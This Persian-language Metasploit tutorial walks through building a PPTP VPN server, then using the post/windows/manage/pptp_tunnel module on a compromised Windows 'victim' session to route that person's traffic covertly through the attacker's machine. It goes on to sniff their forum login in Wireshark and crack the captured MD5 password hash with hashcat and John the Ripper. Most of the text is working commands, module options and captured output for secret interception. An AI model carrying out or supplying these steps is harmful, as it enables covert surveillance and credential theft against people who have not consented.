منبع اصلی نوشتار زیر در این لینک قرار دارد

آموزش متااسپلویت : تونلی ایمن به سمت نفوذگر

با سلام . قسمت سیزدهم از سری آموزش های متااسپلویت را در پیش رو داریم . منظور از تونل گفته شده در عنوان VPN ها و پروکسی ها و … هایی هست که خیلی از کاربران برای اهداف متفاوتی از آن استفاده می کنند . در این ارسال سه مورد زیر را بررسی خواهیم کرد :

1. راه اندازی یک سرور virtual private network در سیستم خودمون

2. استفاده از virtual private network در متااسپلویت

3. اسنیف پکت های عبوری از سیستم و بیرون کشیدن اطلاعات

مقدمه :

با فرض راه اندازی یک سرور virtual private network و داشتن آی پی ولید , شما می توانید روی سیستم خودتون این سرویس رو ارایه بدید .

نکته ی حائز اهمین و دارای ضعف امنیتی این جاست که تمامی اطلاعات اعم از نام کاربری , پسورد , ایمیل ها و غیره ی کاربران از سیستم شما عبور خواهد کرد .

دلیل عبور تمامی اطلاعات کاربران ریشه در تعریف و مفهوم سرور virtual private network دارد . برای مثال پروتکل http را در نظر بگیرید , ماهیت این پروتکل به این شکل است که تمامی اطلاعات را بدون هیچ رمزگذاری ای ارسال کند . طبیعتا اگر در زمان ارسال , این اطلاعات به دست افراد سودجویی بیفتد می توانند به اصل اطلاعات شما مثل نام کاربری و پسورد ایمیتان دسترسی پیدا کنند .

البته نباید منکر اقدامات امنیتی که دسته ای از سایت ها و سرور ها برای این مورد انجام داده اند شد .

برای مثال می توان به استفاده از پروتکل https استفاده شده در درگاه های بانکی و یا قسمت ورود سایت هایی مثل یاهو و جی میل و … اشاره کرد .

در این حالت تمامی اطلاعات رمزگذاری می شود و اطلاعات در 99٪ مواقع فقط و فقط در سرور های اصلی رمزگشایی می شود .

حالا فرض کنید همین اطلاعات رمزگذاری شده از سرور virtual private network ما یا هر سرور دیگر اعم از امن بودن یا امن نبودن سرور عبور کند . نتیجه این خواهد شد که اطلاعات رمزگذاری شده قابل دیدن است اما به دلیل رمزگذاری نمی توان به اصل اطلاعات دسترسی پیدا کرد .

قسمت اول :

ابتدا راه اندازی یک سرور virtual private network را در توزیع امنیتی BackBox بررسی خواهیم کرد .

برای نصب ابتدا بسته ی زیر را به شکل زیر نصب کنید :

sudo apt-get install pptpd

در مرحله ی بعد فایل pptpd.conf در مسیر زیر را با یک ویرایشگر مثل nano باز کنید :

sudo nano /etc/pptpd.conf

حال با کلید های Ctrl و V به انتهای صفحه بیاید و به دنبال عبارت localip باشید . در مقابل این عبارت آی پی داخلی سیستم خودتون رو وارد کنید . برای مثال :

localip 192.168.1.2

در یک خط پایین تر عبارت remoteip را مشاهده خواهید کرد . در مقابل آن رنج آی پی که می خواهید کاربران پس از اتصال به سیستم دریافت کنند را وارد کنید . برای مثال به این صورت :

remoteip 192.168.1.234-238

نکته : اگر یک # قبل از عبارت ms-dns وجود دارد , آن را پاک کنید .

برای ذخیره ی تغییرات اعمال شده در فایل pptpd.conf کلید های Ctrl و X را فشار دهید تا تغییرات ذخیره شود .

در مرحله ی بعد آدرس دو DNS سرور را ست می کنیم . برای این منظور فایل زیر را همانند قسمت قبل باز می کنیم :

sudo nano /etc/ppp/pptpd-options

سپس به دنبال عبارت ms-dns می گردیم . برای پیدا کردن از کلید های Ctrl همراه با W استفاده کنید .

نکته : اگر یک # قبل از عبارت ms-dns وجود دارد , آن را پاک کنید .

حال برای مثال دو DNS را به صورت زیر ست می کنیم :

ms-dns 8.8.8.8
ms-dns 8.8.4.4

فایل را ذخیره کنید تا تغییرات اعمال شود .

در مرحله ی بعد باید یک ( و یا بیش تر ) نام کاربری و رمزعبور برای اتصال به سیستم در نظر بگیرید . برای این منظور ابتدا فایل زیر را باز کنید :

sudo nano /etc/ppp/chap-secrets

سپس برای مثال عبارت زیر را در خط آخر اضافه کنید :

e2ma3n * 123456 *

e2ma3n نام کاربری و 123456 رمزعبور می باشد .

دو مقدار IP Address و Server را نادیده گرفتیم برای همین از دو ستاره ( * ) استفاده کردیم .

حال کافیست یک بار سرویس pptpd را راه اندازی مجدد کنیم تا اگر خطایی وجود داشته باشد آن را مشاهده کنیم . برای این منظور :

/etc/init.d/pptpd restart

در مرحله ی بعد باید IP Forwarding را فعال کنیم . برای این منظور ابتدا فایل زیر را باز کنید :

sudo nano /etc/sysctl.conf

سپس به دنبال عبارت زیر باشید و علامت # قبل آن را پاک کنید و فایل را ذخیره کنید .

net.ipv4.ip_forward=1

در آخر کافیست دو رول iptables زیر را بر روی سیستم ست کنیم . برای این منظور ابتدا فایل زیر را باز کنید :

sudo nano /etc/rc.local

سپس قبل از exit0 دو رول زیر را اضافه کنید :

iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j MASQUERADE
iptables -A FORWARD -p tcp --syn -s 192.168.1.0/24 -j TCPMSS --set-mss 1356

کار تقریبا تمام شد . حال کافیست از داخل مودم تنظیمات Port Forwarding را انجام دهید . توجه داشته باشید که پورت پیش فرض سرویس pptpd 1723 می باشد .

قسمت دوم :

در قسمت اول دیدیم که چه طور سرویس pptpd را در سیستم خودمون فعال کنیم . حال فرض کنید با استفاده از هر اکسپلویتی و به هر طریقی یک نشست بین شما و قربانی ایجاد شده است . حالا به سوال زیر پاسخ دهید :

برای شنود اطلاعات قربانی از چه روشی باید استفاده کرد ؟

با توجه به این که از سیستم قربانی دسترسی داریم , می توانیم قربانی را به سیستم خودمون با استفاده از سرویس pptpd متصل کنیم .

نکته ی حایز اهمیت طریقه ی اتصال قربانی به یک سرور virtual private network است و مهم تر این که مراحل به صورت مخفی انجام شود . برای این منظور در داخل کنسول متااسپلویت به صورت زیر عمل می کنیم :

msf exploit(handler) > use post/windows/manage/pptp_tunnel

002

برای مشاهده ی مواردی که باید ست شود یک show options بگیرید , به این صورت :

show options

به ستون Required توجه کنید , مشاهده می کنید که تمامی موارد yes می باشد یعنی باید یک مقدار برای هر یک انتخاب شود .

PASSWORD
SESSION
USERNAME
VPNHOST

PASSWORD: رمز عبور اکانت برای اتصال

SESSION : شماره ی نشستی که بین شما و قربانی ایجاد شده است

USERNAME : نام کاربری اکانت برای اتصال

VPNHOST : آدرس آی پی سرور

حال به عبارت MITM توجه کنید . این عبارت برای زمانی است که سرویس دهنده سیستم ما نباشد در این صورت در صورت فعال بودن این گزینه تمامی پکت ها و اطلاعات قربانی ابتدا از سیستم ما عبور می کرده و در نهایت به سرور فرستاده می شود .

البته باید به این نکته توجه کرد که تمامی پکت ها و اطلاعات رمز می شود .

اما ما در این جا سرور را سیستم خودمون فرض کردیم پس با توجه به تعریف , طبیعتا تمامی پکت ها به سیستم ما فرستاده می شود و در سیستم ما رمزگشایی می شود .

در آخر کافیست عبارت run را تایپ و اجرا کنید . برای دیدن تغییرات کافیست به خط فرمان سیستم قربانی مراجعه کنید و عبارت ipconfig را تایپ کنید .

در صورتی که مراحل را موفقیت آمیز طی کرده باشید , خواهید دید که سیستم قربانی به سیستم شما متصل شده است و آی پی ای داخلی طبق رنجی که در قسمت اول مشخص کردید گرفته است .

003

همان طور که در عکس بالا مشخص است 192.168.1.4 آدرس آی پی درون شبکه ای سیستم قربانی و 192.168.1.234 آدرس آی پی است که پس از اتصال سیستم ما به سیستم قربانی تخصیص داده است .

قسمت سوم :

در این شرایط برای اسنیف اطلاعات برنامه های زیادی در نظر گرفته شده است . ما در این جا از وایرشارک استفاده خواهیم کرد . به مثال زیر دقت کنید :

مثال : شخص قربانی وارد سایت www.oslearn.ir شده است و وارد حساب کاربری خود می شود . حال به عکس زیر توجه کنید :

004

پکت شماره ی 6 را نظر بگیرید . می بینید که مبدا این پکت آدرس آی پی 192.168.1.234 ( یعنی همان آدرسی که پس از اتصال به سرور virtual private network کسب کرده است ) هست و مقصد این پکت سرور سایت turk-bh.ir است . جنس بسته از نوع Post و روی پروتکل http است که نشان می دهد قربانی با مرورگر خود اقدام به لاگین در حساب کاربری خود کرده است .

به قسمت پایینی عکس توجه کنید :

vb_login_username=e2ma3n&vb_login_password=&s=&securitytoken=guest&do=login&vb_login_md5password=36e1a5072c78359066ed7715f5ff3da8&vb_login_md5password_utf=36e1a5072c78359066ed7715f5ff3da8

اگر کمی زوم تر بشیم نتیجه به این صورت حاصل می شود :

vb_login_username=e2ma3n
vb_login_password=
s=
securitytoken=guest
do=login
vb_login_md5password=36e1a5072c78359066ed7715f5ff3da8
vb_login_md5password_utf=36e1a5072c78359066ed7715f5ff3da8

همان طور که مشاهده می کنید نام کاربری e2ma3n می باشد و مقدار هش شده ی پسورد در جلوی عبارت vb_login_md5password و vb_login_md5password_utf مشخص است .

نکته 1 : دلیل هش بودن پسورد سیستم مدیریت محتوایی است که بر روی سایت turk-bh.ir نصب شده است .

نکته 2 : سیستم مدیریت محتوای این سایت ویبولتین می باشد .

نکته 3 : سیستم مدیریت محتوای ویبولتین از سالت برای هش کردن پسورد و ذخیره در پایگاه داده استفاده می کند .

نکته 4 : سالت در پایگاه داده ذخیره شده است پس طبیعتا کلاینت نمی تواند با آن در ارتباط باشد .

نکته 5 : الگوریتم رمزنگاری ویبولتین به صورت زیر است :

md5(md5(password)salt)

به الگوریتم بالا توجه کنید , حال نکته ی 4 را دوباره مطالعه کنید .

نتیجه گیری : به احتمال زیاد الگوریتم این هش بدست آمده در اسنیف به صورت زیر است :

 

md5(password)

 

دلیل : اگر کمی منطقی باشیم می بینیم که دلیل احتمال این الگوریتم دور از ذهن نیست چرا که با توجه به الگوریتم اصلی ( برای ذخیره سازی پسورد در پایگاه داده ) دیگر الگوریتمی برای هش کردن پسورد باقی نمی ماند !

در واقع فقط کافیست سالت به پسورد هش شده و فرستاده شده از طرف کلاینت اضافه شود و در آخر یک بار در تابع MD5 قرار بگیرد و در نهایت با هش ذخیره شده در دیتابیس مقایسه شود .

سوال : اما دلیل این کار ویبولتین چیست ؟

جواب : شاید برای جلوگیری از لو رفتن پسورد در همچین شرایطی !

پس در نهایت الگوریتم پسورد هش شده را بدست آوردیم . حال اجازه دهید این پسورد را کرک کنیم . برای این کار از دو ابزار hashcat در داخل ویندوز و John the Ripper در داخل لینوکس استفاده می کنیم .

برای کرک این هش با استفاده از hastcat به صورت زیر عمل می کنیم :

1. ابتدا مقدار هش شده را در داخل فایلی متنی ذخیره می کنیم .

2. با استفاده از خط فرمان به دایرکتوری hashcat می رویم و برنامه را به شکل زیر اجرا می کنیم :

c:oclHashcat-1.00>cudaHashcat32.exe -a 3 -m 0 hash.txt -o cracked.txt

3. نتایج حاصل از کرک را می توان در فایل متنی cracked.txt مشاهده کرد .

005

همان طور که مشاهده می کنید پسورد کرک شده است .

اما برای کرک هش با استفاده از برنامه ی John the Ripper به صورت زیر عمل می کنیم :

john --format=raw-md5 /root/hash.txt

توجه داشته باشید که برای استفاده از پسورد لیست باید از سویچ wordlist– استفاده کرد .

006
همان طور که می بینید پسورد کرک شده است .

 

منبع : او اس لرن دات آی آر | http://OSLearn.ir

نویسنده : E2MA3N



برچسب ها : ,